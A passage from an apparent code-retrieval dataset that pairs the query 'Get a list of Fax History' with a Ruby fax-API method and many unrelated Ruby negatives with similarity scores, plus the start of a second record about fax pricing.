"0.5414108",
"0.5411747",
"0.53724015",
"0.5356397",
"0.5356246",
"0.5341058",
"0.53409344",
"0.5304023",
"0.52745706",
"0.5265222",
"0.5215288",
"0.5210394",
"0.51994467",
"0.5169407",
"0.51686454",
"0.5156781",
"0.5150848",
"0.5136298",
"0.51234186",
"0.51224387",
"0.51126456",
"0.51118684",
"0.50880706",
"0.507602",
"0.5069271",
"0.5055368",
"0.5051243",
"0.50512254",
"0.50400466",
"0.503814",
"0.5037316",
"0.5015775",
"0.50052845",
"0.5004169",
"0.49876854",
"0.49849814",
"0.49823958",
"0.49772942",
"0.49710605",
"0.496937",
"0.49672455",
"0.49623054",
"0.4960947",
"0.49265775",
"0.49232674",
"0.491665",
"0.4902001",
"0.48882672",
"0.48848906",
"0.48839158",
"0.48835522",
"0.48627308",
"0.48627308",
"0.48595637",
"0.48511073",
"0.484907",
"0.48478678",
"0.4837692",
"0.4836794",
"0.48310992",
"0.48256588",
"0.48254725",
"0.48247677",
"0.4822697",
"0.48159277",
"0.4815809",
"0.48025253",
"0.48005712",
"0.47996897",
"0.47991973",
"0.47989425",
"0.47989425",
"0.47989425",
"0.47989425",
"0.47954118",
"0.47938126",
"0.4789621",
"0.4787515",
"0.4784902",
"0.4779946",
"0.47795624",
"0.47656474",
"0.47644243",
"0.47610164",
"0.47610056",
"0.4754602",
"0.47385454",
"0.47248995",
"0.47248995",
"0.4716337",
"0.4711993",
"0.47039407"
] |
0.80186594
|
0
|
Get a list of Fax History.
|
def get_fax_history(date_from = nil,
date_to = nil,
q = nil,
order = nil)
# Prepare query url.
_query_builder = Configuration.base_uri.dup
_query_builder << '/fax/history'
_query_builder = APIHelper.append_url_with_query_parameters(
_query_builder,
{
'date_from' => date_from,
'date_to' => date_to,
'q' => q,
'order' => order
},
array_serialization: Configuration.array_serialization
)
_query_url = APIHelper.clean_url _query_builder
# Prepare and execute HttpRequest.
_request = @http_client.get(
_query_url
)
BasicAuth.apply(_request)
_context = execute_request(_request)
# Validate response against endpoint and global error codes.
return nil if _context.response.status_code == 404
validate_response(_context)
# Return appropriate response type.
_context.response.raw_body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fax_history_get(api_key, opts = {})\n fax_history_get_with_http_info(api_key, opts)\n return nil\n end",
"def filing_history_list(company_number, category = nil, items_per_page = nil, start_index = nil)\n params = {category: category}\n params[:items_per_page] = items_per_page if items_per_page\n params[:start_index] = start_index if start_index\n\n client.get(\"company/#{company_number}/officers/\", params)\n end",
"def history\r\n []\r\n end",
"def history\n return nil if tracking_is_empty\n\n history_information_box ||= @tracking_page.css(\".indent table[summary='履歴情報']\")\n history_columns = history_information_box.css(\"tr\")\n history_columns = history_columns[2..history_columns.size] # remove header\n\n history = []\n\n history_columns.each_with_index do |tr, index|\n next if index.odd? # skip zip code row\n date = Chronic.parse(tr.css(\"td\").first.text) rescue nil\n\n action = tr.css(\"td\")[1].text.strip\n action = nil if action.empty?\n\n details = tr.css(\"td\")[2].text.strip\n details = nil if action.empty?\n\n office = tr.css(\"td\")[3].text.strip\n office = nil if action.empty?\n\n location = tr.css(\"td\")[4].text.strip\n location = nil if action.empty?\n\n history << { date: date, action: action, details: details, office: office, location: location }\n end\n\n return history\n end",
"def get_history\n events = []\n # Get the first page of the workflow history\n page = get_history_page\n page[\"events\"].each { |x| events << x }\n\n # Get the remaining pages of the workflow history\n until page[\"nextPageToken\"].nil?\n page = get_history_page(page[\"nextPageToken\"])\n page[\"events\"].each { |x| events << x }\n end\n events\n end",
"def get_all_history(title_number)\n\n response = rest_get_call($HISTORIAN_URL + '/' + title_number +'?versions=list')\n\n if (response.code != '200') then\n raise \"Failed to retrieve list of historical data: \" + response.body\n end\n\n return JSON.parse(response.body)\nend",
"def filing_history(company_number, transaction_id)\n client.get(\"company/#{company_number}/filing-history/#{transaction_id}/\")\n end",
"def history_items\n return @history_items\n end",
"def account_history\n get('account/history')\n end",
"def get_history\n @request_history = Request.history_request\n end",
"def get_history\n data = { :ConfigItemID => self.id, 'XMLDataGet' => 1 }\n params = { :object => 'ConfigItemObjectCustom', :method => 'VersionList', :data => data }\n a = OTRS.connect(params).flatten\n b = self.class.superclass::Relation.new\n a.each do |c|\n b << self.class.object_preprocessor(c)\n end\n return b\n end",
"def history\n return @history\n end",
"def history\n return @history\n end",
"def history\n rest.get stats_path(:history) do |response|\n response_handler response\n end\n end",
"def all_history\n history(history: {})\n end",
"def history_definitions\n return @history_definitions\n end",
"def get_history(type, id)\n api_call_with_type(type, id, \"#{type}/#{id}/history\")\n end",
"def fax_receipt_list\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/fax/receipts'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def index\n @family_histories = FamilyHistory.all\n end",
"def history(limit: 1000)\n response = rpc(action: :history, param_name: :hash, params: {count: limit})\n response[:history].collect {|entry| Banano::Util.symbolize_keys(entry) }\n end",
"def index\n @faxes = Fax.all\n end",
"def history\n History\n end",
"def history(source = nil)\n params = {\n source: source\n }.compact\n\n _get(\"/account/history\", params) { |json| json }\n end",
"def history(options={})\n resp = (options.nil? || options.empty?) ? get(Googl::Utils::API_HISTORY_URL) : get(Googl::Utils::API_HISTORY_URL, :query => options)\n case resp.code\n when 200\n self.items = resp.parsed_response.to_openstruct\n else\n raise exception(\"#{resp.code} #{resp.parsed_response}\")\n end\n end",
"def get_call_history(app_id)\n JSON.parse((@cloudvox_api[\"/applications/\" + app_id + \"/call_detail_records.json\"].get).body)\n end",
"def history(session_name = nil)\n query_params = session_name ? build_params(session: get_session_id(session_name)) : ''\n response = get(\"#{admin_url}/history?#{query_params}\")\n body = parse_body(response)\n\n raise body[:message] unless body.is_a?(Array)\n\n body.map do |entry|\n HistoryResponse.new(entry)\n end\n end",
"def history\n from = @from.to_i\n limit = @to.to_i - from\n # Excecute the find of comparations\n histories = @to ? History.offset(from).limit(limit) : History.all\n histories\n end",
"def list(\n filter,\n *args,\n deadline: nil\n )\n req = V1::AccountHistoryListRequest.new()\n req.meta = V1::ListRequestMetadata.new()\n page_size_option = @parent._test_options[\"PageSize\"]\n if page_size_option.is_a? Integer\n req.meta.limit = page_size_option\n end\n if not @parent.snapshot_time.nil?\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.filter = Plumbing::quote_filter_args(filter, *args)\n resp = Enumerator::Generator.new { |g|\n tries = 0\n loop do\n begin\n plumbing_response = @stub.list(req, metadata: @parent.get_metadata(\"AccountsHistory.List\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n tries = 0\n plumbing_response.history.each do |plumbing_item|\n g.yield Plumbing::convert_account_history_to_porcelain(plumbing_item)\n end\n break if plumbing_response.meta.next_cursor == \"\"\n req.meta.cursor = plumbing_response.meta.next_cursor\n end\n }\n resp\n end",
"def searches_from_history\n []\n end",
"def order_history(limit = 10)\n plain_orders = Fyb.private.getorderhistory(limit: limit).perform.parse\n error = plain_orders['error']\n\n fail Exception, error unless error == 0\n\n plain_orders['orders'].map do |data|\n Order.new data['qty'], data['price'], data['type'] == 'B' ? :buy : :sell, data['ticket']\n end\n end",
"def history(options={})\n param = { :uniq_id => @uniq_id }.merge options\n Storm::Base::SODServer.remote_list '/Server/history', param do |i|\n notification = Notification.new\n notification.from_hash i\n notification\n end\n end",
"def index\n @call_histories = CallHistory.all\n end",
"def getHistories\n account = current_user.account\n if account.nil?\n render status: 400, json: {error: \"Invalid User\"}\n else\n devices = Device.find_all_by_user_id(current_user.id)\n device_ids = []\n devices.each do |d|\n device_ids << d.id\n end\n rewards = RewardHistory.where(:account_id => account.id)\n achievements = AchievementHistory.where(:device_id => device_ids)\n offers = OfferHistory.where(:device_id => device_ids)\n promos = PromoCodeHistory.where(:account_id => account.id)\n referrals = ReferralCodeHistory.where(:account_id => account.id)\n referrees = ReferralCodeHistory.where(:referrer_id => account.id)\n\n returnUserHistories = []\n\n rewards.each do |r|\n history = UserHistory.new\n description_string = \"\"\n if r.processed == false\n description_string = \"Pending reward\"\n else\n description_string = \"Reward redeemed!\"\n end\n history.populate(r.reward.name, description_string, \"#{r.reward.image.url}\", r.amount, r.created_at)\n returnUserHistories << history\n end\n\n achievements.each do |a|\n history = UserHistory.new\n history.populate(a.achievement.name, \"Achievement Complete!\", \"#{a.achievement.app.image.url}\", a.achievement.cost,\n a.created_at)\n returnUserHistories << history\n end\n\n offers.each do |o|\n history = UserHistory.new\n history.name = o.company\n history.description = \"Offer completed from: \" + o.company + \"!\"\n history.amount = o.amount\n history.date = o.created_at\n returnUserHistories << history\n end\n\n promos.each do |p|\n history = UserHistory.new\n history.name = \"Promotional Code\"\n history.description = \"Promotional Code #{p.promo_code.name} redeemed!\"\n history.amount = p.value\n history.date = p.created_at\n returnUserHistories << history\n end\n\n referrals.each do |r|\n history = UserHistory.new\n history.name = \"Referrer Install Bonus\"\n history.description = \"Referral code entered!\"\n history.amount = r.referree_value\n history.date = r.created_at\n returnUserHistories << history\n end\n\n referrees.each do |r|\n history = UserHistory.new\n history.name = \"Referral Bonus\"\n history.description = \"#{r.account.user.username} entered your referral code!\"\n history.amount = r.referrer_value\n history.date = r.created_at\n returnUserHistories << history\n end\n\n returnUserHistories = returnUserHistories.sort_by(&:date).reverse\n\n render status: 200, json: returnUserHistories\n end\n end",
"def history(options={})\n @history ||= ActsAsIcontact::ContactHistory.scoped_find(self, options)\n end",
"def get_withdrawal_history\n # body = {\n # cmd: \"get_withdrawal_history\"\n # }\n\n end",
"def list_file_history(path:, page: nil, per_page: nil, start_at: nil)\n query = { path: path, page: page, per_page: per_page, start_at: start_at }.reject { |_, v| v.nil? }\n BrickFTP::API::History::File.all(query)\n end",
"def list_file_history(path:, page: nil, per_page: nil, start_at: nil)\n query = { path: path, page: page, per_page: per_page, start_at: start_at }.reject { |_, v| v.nil? }\n BrickFTP::API::History::File.all(query)\n end",
"def get_historic_stock_data(ticker, date_from, date_to, frequency = \"1d\")\n url = \"https://query1.finance.yahoo.com/v7/finance/download/#{ticker}?period1=#{date_from.strftime(\"%s\")}&period2=#{date_to.strftime(\"%s\")}&interval=#{frequency}&events=history\"\n\n request = Typhoeus::Request.new(url)\n request.run\n result = request.response.body\n\n result.split(\"\\n\").drop(1).map { |row| YahooDataPoint.new(row) }\n end",
"def order_history(market = nil, count = 10)\n params = market ? \"market=#{market}\" : \"\"\n orders = request(\"#{@base_url}/account/getorderhistory\", params)\n\n if orders.size > count then\n return orders[0,count]\n end\n\n return orders\n end",
"def list_site_history(page: nil, per_page: nil, start_at: nil)\n query = { page: page, per_page: per_page, start_at: start_at }.reject { |_, v| v.nil? }\n BrickFTP::API::History::Site.all(query)\n end",
"def list_site_history(page: nil, per_page: nil, start_at: nil)\n query = { page: page, per_page: per_page, start_at: start_at }.reject { |_, v| v.nil? }\n BrickFTP::API::History::Site.all(query)\n end",
"def fax_history_get_with_http_info(api_key, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: FaxApi.fax_history_get ...\"\n end\n # verify the required parameter 'api_key' is set\n fail ArgumentError, \"Missing the required parameter 'api_key' when calling FaxApi.fax_history_get\" if api_key.nil?\n # resource path\n local_var_path = \"/fax-history\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'api_key'] = api_key\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FaxApi#fax_history_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_navigation_history\n {\n method: \"Page.getNavigationHistory\"\n }\n end",
"def index\n @history_items = HistoryItem.all\n end",
"def history(params)\n Client.current.get(\"#{resource_url}/candles\", params)\n end",
"def get_history(page_token = nil); end",
"def history; end",
"def history; end",
"def history; end",
"def packages_history_get(opts = {})\n data, _status_code, _headers = packages_history_get_with_http_info(opts)\n data\n end",
"def history\n @history ||= LEAP::Motion::Utils::History.new(options[:history_size])\n end",
"def request_history(timestamp=1.day.ago)\n @ws.send({request: \"history\", timestamp: timestamp}.to_json)\n end",
"def index\n @historic_refinancings = HistoricRefinancing.all\n end",
"def stock_historical_data(ticker)\n ############################################################################\n # Yahoo Finance historical quotes has been deprecated\n # YahooFinance::Client.new.historical_quotes(ticker, { start_date: Date.today - days, end_date: Date.today })\n ############################################################################\n i = 0\n history = { date: [], price: [] }\n\n url = \"https://finance.yahoo.com/quote/\" + ticker + \"/history?\"\n doc = Nokogiri::HTML(open(url))\n data = doc.at('table[data-test=\"historical-prices\"]')\n\n while i < data.children[1].children.length do\n check = data.children[1].children[i].text\n\n if (!check.include?('Dividend') && !check.include?('Split'))\n \thistory[:date] << data.children[1].children[i].children[0].text\n \thistory[:price] << data.children[1].children[i].children[5].text.to_f\n end\n\n i+=1\n end\n history\n end",
"def history\r\n\r\n end",
"def referrers\n logs.take(DEFAUTLS[:top_x_referrers]).map{ |log| Struct::ReferrerReport.new(log.referrer, log[:visits]) }\n end",
"def all_history_as_of(last_update)\n history(history: { since: last_update })\n end",
"def list_history(path)\n\t\tlogin_filter\n\t\t\n\t\tpath = namespace_path(path)\n\n\t\thistory = @agent.get(\"/revisions#{path}\")\n\t\tlisting = history.search(\"table.filebrowser > tr\").select{|r| r.search(\"td\").count > 1 }.collect do |r|\n\t\t\t\n\t\t\t# warning, this is very brittle!\n\t\t\tdetails = {}\n\t\t\tdetails[\"version\"] = r.search(\"td a\").first.content.strip\n\t\t\tdetails[\"url\"] = r.search(\"td a\").first[\"href\"]\n\t\t\tdetails[\"size\"] = r.search(\"td\").last.content.strip\n\t\t\tdetails[\"modified\"] = r.search(\"td\")[2].content.strip\n\t\t\tdetails[\"version_id\"] = details[\"url\"].match(/^.*sjid=([\\d]*)$/)[1]\n\t\t\tdetails['path'] = normalize_namespace(details['url'][33..-1])\n\t\t\t\n\t\t\tdetails\n\t\tend\n\t\t\n\t\treturn listing\n\tend",
"def history\n self.class.history.of(self)\n end",
"def history\n self.class.history.of(self)\n end",
"def get_history_from_api(api=Rosemary::API.new)\n api.get_history(type, self.id.to_i)\n end",
"def read_history\n if ENV['HOME'] && File.exist?(history_file)\n File.readlines(history_file).reverse.each do |line|\n Readline::HISTORY << line\n end\n end\n end",
"def history\n @history.dup\n end",
"def list_notify_history(project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/notify_history'\n\t\targs[:query]['Action'] = 'ListNotifyHistory'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :alert_name\n\t\t\targs[:query]['AlertName'] = optional[:alert_name]\n\t\tend\n\t\tif optional.key? :dimensions\n\t\t\targs[:query]['Dimensions'] = optional[:dimensions]\n\t\tend\n\t\tif optional.key? :end_time\n\t\t\targs[:query]['EndTime'] = optional[:end_time]\n\t\tend\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :start_time\n\t\t\targs[:query]['StartTime'] = optional[:start_time]\n\t\tend\n\t\tself.run(args)\n\tend",
"def franchise_history(\n league_id=NbaStats::Constants::LEAGUE_ID_NBA\n )\n NbaStats::Resources::FranchiseHistory.new(\n get(FRANCHISE_HISTORY_PATH, {\n :LeagueID => league_id\n })\n )\n end",
"def bid_history(opts={})\r\n opts[:output] = 'json'\r\n opts[:callback] = 'callback'\r\n Yahoo::Request.get(\"http://auctions.yahooapis.jp/AuctionWebService/V1/BidHistory\", Yahoo::Api.merge(opts))\r\n end",
"def history\n @history ||= @repository.log(30, nil, path)\n end",
"def history\n generic_index(true)\n end",
"def index\n @history_data = HistoryDatum.all\n end",
"def index\n @formating_histories = FormatingHistory.all\n end",
"def history\n session[:back_link_history]\n end",
"def history(currency)\n\t\treturn @history[currency]\n\tend",
"def entries(n=Readline::HISTORY.size)\n size=Readline::HISTORY.size\n Readline::HISTORY.to_a[(size - n)..size-1]\n end",
"def active_set_history\n ash = []\n end",
"def get_HistoricalData\r\n # Get Historical Data\r\n printf \"@I:Get Historical Data from #{@fx_base.historical_base_url}\\n\"\r\n @fx_base.db_list.each do |key,value|\r\n url = @fx_base.historical_base_url + \"ccy=\" + value[1].to_s + \"&type=d\"\r\n file = @fx_base.data_dir + \"/\" + value[3]\r\n printf \"[#{key}]Get Historical Data from #{url} ... \"\r\n @CSVFiles[key] = file\r\n f = open(file,\"w\")\r\n open(url).each do |line|\r\n f.printf line\r\n end\r\n f.close\r\n printf \"Done\\n\"\r\n printf \" - #{file} (#{File::stat(file).mtime})\\n\"\r\n # Check File Size\r\n if File::stat(file).size < 10000\r\n printf \"@E:Maybe could not get Historical Data. please check #{file}\\n\"\r\n exit 1\r\n end\r\n end\r\n end",
"def get(id)\n response = Network.get(['Faxes', id])\n Fax.new(response)\n end",
"def history\n Readline::HISTORY.to_a\nend",
"def index\n @ticker_week_histories = TickerWeekHistory.all\n end",
"def history\n @history ||= @repo.log.path(path).to_a\n end",
"def show\n @history = ExchangeRecord.get_historical_data(@exchange_combination.base,\n @exchange_combination.target)\n end",
"def history\n self.class.history.chronological.of(self)\n end",
"def get_voice_history(date_from = nil,\r\n date_to = nil)\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/voice/history'\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'date_from' => date_from,\r\n 'date_to' => date_to\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def history\n return @history unless @history.nil?\n @history = (\n if History.exist?(root)\n History.at(root)\n else\n false\n end\n )\n end",
"def get_safebox_event_history(safebox)\n raise SendSecureException.new(\"SafeBox GUID cannot be null\") if safebox.guid == nil\n @json_client.get_safebox_event_history(safebox.guid)[\"event_history\"].map {|p| EventHistory.new(p) }\n end",
"def index\n @histories = History.all.reverse_order\n end",
"def where_history()\r\n @history_offset\r\n end",
"def index\n @invoice_histories = InvoiceHistory.all\n end",
"def backlog\n Endpoints::Backlog.new(client).get(id)\n end",
"def index\n @fax_jobs = FaxJob.all\n end",
"def history\n @memory.rewind\n @memory.read\n end",
"def error_history\n @error_history ||= []\n end",
"def history(object, params={})\n history_url = \"#{API_URL}#{object}.json?m=history\"\n perform_get_request(history_url, params)\n end",
"def list(\n filter,\n *args,\n deadline: nil\n )\n req = V1::AccountResourceHistoryListRequest.new()\n req.meta = V1::ListRequestMetadata.new()\n page_size_option = @parent._test_options[\"PageSize\"]\n if page_size_option.is_a? Integer\n req.meta.limit = page_size_option\n end\n if not @parent.snapshot_time.nil?\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.filter = Plumbing::quote_filter_args(filter, *args)\n resp = Enumerator::Generator.new { |g|\n tries = 0\n loop do\n begin\n plumbing_response = @stub.list(req, metadata: @parent.get_metadata(\"AccountResourcesHistory.List\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n tries = 0\n plumbing_response.history.each do |plumbing_item|\n g.yield Plumbing::convert_account_resource_history_to_porcelain(plumbing_item)\n end\n break if plumbing_response.meta.next_cursor == \"\"\n req.meta.cursor = plumbing_response.meta.next_cursor\n end\n }\n resp\n end",
"def wallet_history\n get 'walletHistory'\n end",
"def get_historical_report()\n return MicrosoftGraph::DeviceManagement::Reports::GetHistoricalReport::GetHistoricalReportRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def history\n # blank\n end",
"def history\n @history ||= PublicEarth::Db::History.many.descriptive_changes_by_user(self.id)\n end",
"def tracking_history\n buyer = user_valid_for_viewing?('Buyer')\n if !buyer.nil?\n events = Events::Track.where(buyer_id: buyer.id).order(\"created_at desc\")\n results = events.map do |event|\n {\n udprn: event.udprn,\n hash_str: event.hash_str,\n type_of_tracking: Events::Track::REVERSE_TRACKING_TYPE_MAP[event.type_of_tracking],\n created_at: event.created_at,\n tracking_id: event.id\n }\n end\n render json: results, status: 200\n else\n render json: { message: 'Authorization failed' }, status: 401\n end\n end",
"def show_history\n pattern = Regexp.new(@args[0] || /./)\n\n @history.each_with_index do |item, index|\n puts \"#{index+1}: #{item}\" if item =~ pattern\n end\n end",
"def fetch_history\n service_response = Economy::Transaction::FetchHistory.new(params).perform\n render_api_response(service_response)\n end"
] |
[
"0.7071993",
"0.6696848",
"0.64732015",
"0.64437896",
"0.64348733",
"0.64341384",
"0.63811946",
"0.6302121",
"0.6215293",
"0.61590374",
"0.61559445",
"0.61515623",
"0.61515623",
"0.61101437",
"0.6091837",
"0.60236305",
"0.60084295",
"0.60033023",
"0.5991136",
"0.59829336",
"0.598202",
"0.5968625",
"0.5957754",
"0.5921125",
"0.5884592",
"0.5880863",
"0.5860681",
"0.58248764",
"0.57887703",
"0.5784422",
"0.5772713",
"0.5771179",
"0.57705873",
"0.5768382",
"0.57663846",
"0.5747383",
"0.5747383",
"0.5724578",
"0.5706501",
"0.5700434",
"0.5700434",
"0.56720376",
"0.56703645",
"0.56637526",
"0.5651438",
"0.563999",
"0.56079304",
"0.56079304",
"0.56079304",
"0.5606098",
"0.5597395",
"0.5583708",
"0.55831885",
"0.5581404",
"0.5581293",
"0.5561091",
"0.5556864",
"0.55545676",
"0.5554343",
"0.5554343",
"0.55449116",
"0.55367297",
"0.5530936",
"0.55287564",
"0.5527425",
"0.55269825",
"0.55144984",
"0.55086523",
"0.5496926",
"0.54933643",
"0.5482606",
"0.54766256",
"0.54668105",
"0.546676",
"0.5465284",
"0.5452562",
"0.54398227",
"0.54376733",
"0.5426713",
"0.54187816",
"0.5416822",
"0.53952736",
"0.53943014",
"0.53697234",
"0.53667074",
"0.53631514",
"0.53602713",
"0.5347172",
"0.5346924",
"0.53467894",
"0.53427345",
"0.5339879",
"0.5337445",
"0.53260785",
"0.5322501",
"0.5307062",
"0.5306533",
"0.53038514",
"0.5302609",
"0.5298296"
] |
0.72762644
|
0
|
Calculate Total Price for Fax Messages sent
|
def calculate_price(fax_message)
# Validate required parameters.
validate_parameters(
'fax_message' => fax_message
)
# Prepare query url.
_query_builder = Configuration.base_uri.dup
_query_builder << '/fax/price'
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'content-type' => 'application/json; charset=utf-8'
}
# Prepare and execute HttpRequest.
_request = @http_client.post(
_query_url,
headers: _headers,
parameters: fax_message.to_json
)
BasicAuth.apply(_request)
_context = execute_request(_request)
# Validate response against endpoint and global error codes.
return nil if _context.response.status_code == 404
validate_response(_context)
# Return appropriate response type.
_context.response.raw_body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subtotal\n fees = [ticket_fees_in_cents].sum\n\n discounted_total + fees\n end",
"def total\n conv_price_single * conv_quantity\n end",
"def fee_cents\n (fee.to_f * 100.0).round\n end",
"def total_price\n total = total_price_without_installments\n if promotions.any?\n adjustment = adjustments.eligible.map(&:amount).sum\n\n (total += adjustment).to_f\n end\n if line_items.any? { |li| li.request_installments == true }\n total = total / 5\n end\n total\n end",
"def total\n total_cost = 0\n \n # Summing up the product cost\n @products.each do |item, cost|\n total_cost += cost\n end\n \n # Calculate a 7.5% tax\n total_order_cost = total_cost * 1.075\n \n # Rounding the result to two decimal places\n return total_order_cost.round(2)\n end",
"def calculate_price\n result = 0.0\n @items.each do |item|\n name = item.name\n price = item.price\n final_taxed_price = price # Begin with price and add tax as necessary\n tax = 0.0\n\n # Is the item subject to sales tax (ie. not exempt)?\n if !is_exempt(name)\n # Not exempt, apply sales tax\n tax += price * @@sales_tax\n else\n # Exempt, don't apply sales tax\n end\n\n # Is the item subject to import tax (ie. is it imported)?\n if is_imported(name)\n # Is imported, apply import sales tax\n tax += price * @@imported_goods_sales_tax\n else\n # Is not imported, don't apply import sales tax\n end\n\n final_taxed_price += round_point05(tax)\n\n puts final_taxed_price\n\n result += final_taxed_price # Add the final price to the running total\n end\n result\n end",
"def calculate_total_price_and_taxes\n # find the tax rate\n tax_rate_percent = 0\n\n unless is_exempt_from_regular_tax?\n tax_rate_percent += REGULAR_TAX_PERCENT\n end\n\n unless self.is_exempt_from_import_tax?\n tax_rate_percent += IMPORT_TAX_PERCENT\n end\n\n # np/100\n # total tax needs to be a float rounded to nearest .05\n @total_tax = SalesTaxes::Item.round_properly((self.price * tax_rate_percent)/100)\n\n @total_price = (@price + @total_tax)\n end",
"def total_price\r\n total = 0\r\n\r\n #Adds the prices of the orders up\r\n order_items.each do |order_item|\r\n total += order_item.item.price*order_item.quantity\r\n end\r\n\r\n #Applies any discounts\r\n if(campaign)\r\n discount = campaign.campaign_type.percentage_reduced\r\n if discount != 100\r\n total -= (total * discount / 100)\r\n elsif discount == 100\r\n i = []\r\n order_items.each do |order_item|\r\n i.push(order_item.item.price)\r\n end\r\n total -= i.min\r\n end\r\n end\r\n return total\r\n end",
"def total_fee\n fee + fee2 + fee3 + fee4\n end",
"def total\n total_price = 0.0\n cart.line_items.each do |line_item|\n if !line_item.unit_price.blank?\n total_price += line_item.unit_price.to_f\n if line_item.line_item_options\n line_item.line_item_options.each do |line_item_option|\n total_price += line_item_option.price.to_f\n end\n end\n elsif line_item.menu_section_item\n total_price += line_item.menu_section_item.price.to_f\n if line_item.menu_item_options\n line_item.menu_item_options.each do |menu_item_option|\n total_price += menu_item_option.price.to_f\n end\n end\n else\n total_price += 0\n end\n end\n tax = total_price.to_f * 0.0825\n total_price = total_price + tax\n if tip\n total_price = total_price.to_f + tip.to_f\n end\n return total_price\n end",
"def total\n # extracts all of the values from the hash and sums them up\n cost = @products.values.sum\n # add 7.5% tax and round to two decimal places\n return (cost * 1.075).round(2)\n end",
"def total_affiliate_fee\n total = 0.0\n @lines.each {|line| total += (line.li_aff_fee * line.li_qty) }\n total\n end",
"def total\n order_total + delivery_price + (prices_include_tax ? 0 : tax_amount)\n end",
"def total_before_tax\n order.delivery_price + items_sub_total\n end",
"def total_before_tax\n self.delivery_price + self.items_sub_total\n end",
"def membership_fixed_total\n applied_subscriptions.select {|h| h[:type] == :fixed}.map {|h| h[:amount] }.flatten.reduce(:+).to_i || 0\n end",
"def total_price\n (@base_price * @tax_rate + @base_price) * @quantity\n end",
"def total\n product_total = 0\n tax = 1.075\n @products.each do |product, price|\n product_total += price\n end\n order_total = (product_total * tax).round(2)\n return order_total\n end",
"def total_price\n \tresult = 0;\n \titems = self.temp_order_items\n\n \titems.each do |item|\n \t\tresult += item.price\n \tend\n \treturn result\n end",
"def total_price\n\t\tline_items.to_a.sum{|item| item.total_price}\n\tend",
"def calc_total\n (@total_after_tax * @gratuity) + @total_after_tax\n end",
"def total\n total_amount = 0\n @order.each do |product, quantity|\n prod_price = PRODUCTS[product]\n if @pricing_rules.key?(product)\n rule = @pricing_rules[product]\n n = rule[1]\n type = rule[0]\n case type\n when \"Nx1\"\n total_amount += prod_price*( quantity/n + quantity%n )\n when \"BULK\"\n disccount_price = rule[2]\n total_amount += quantity * (quantity < n ? prod_price : disccount_price) #disccount price\n end\n else\n total_amount += prod_price * quantity\n end\n end\n total_amount\n end",
"def total_price\n \tresult = 0;\n \titems = self.order_items\n\n \titems.each do |item|\n \t\tresult += item.price\n \tend\n \treturn result\n end",
"def calculate_fee_pounds\n calculate_fee / PENCE_IN_POUND\n end",
"def get_total_price\n self.line_items.sum { |item| item.get_subtotal }\n end",
"def full_price_total(count)\n count * unit_price\n end",
"def total\n total_invoice_items_price(invoice_items)\n end",
"def total_price\n\t\tline_items.to_a.sum { |item| item.total_price }\n\tend",
"def sub_total_price\n line_items.inject(0) {|sum, item| sum += item.price * item.qty }\n end",
"def total\n total = 0\n @products.values.each do |price|\n total += price\n end\n total += (0.075 * total).round(2)\n end",
"def ticket_price\n\t\t#There is no base cost\n\t\tticket_price = @price\n\t\t@items.each do |item|\n\t\tif @items.count > 5\n\t\t\tticket_price += item.price * 0.9\n\t\telse\n\t\t\tticket_price += item.price\n\t\tend\n\t\tend\n\t\tticket_price.round(2)\n\tend",
"def total_price\n puts \"O PRECO TOTAL DE ORDER FOI CHAMADO\"\n self.line_items.to_a.sum{ |item| item.total_price}\n end",
"def donated_amount\n self.fees.purchased.sum(:amount).to_f\n end",
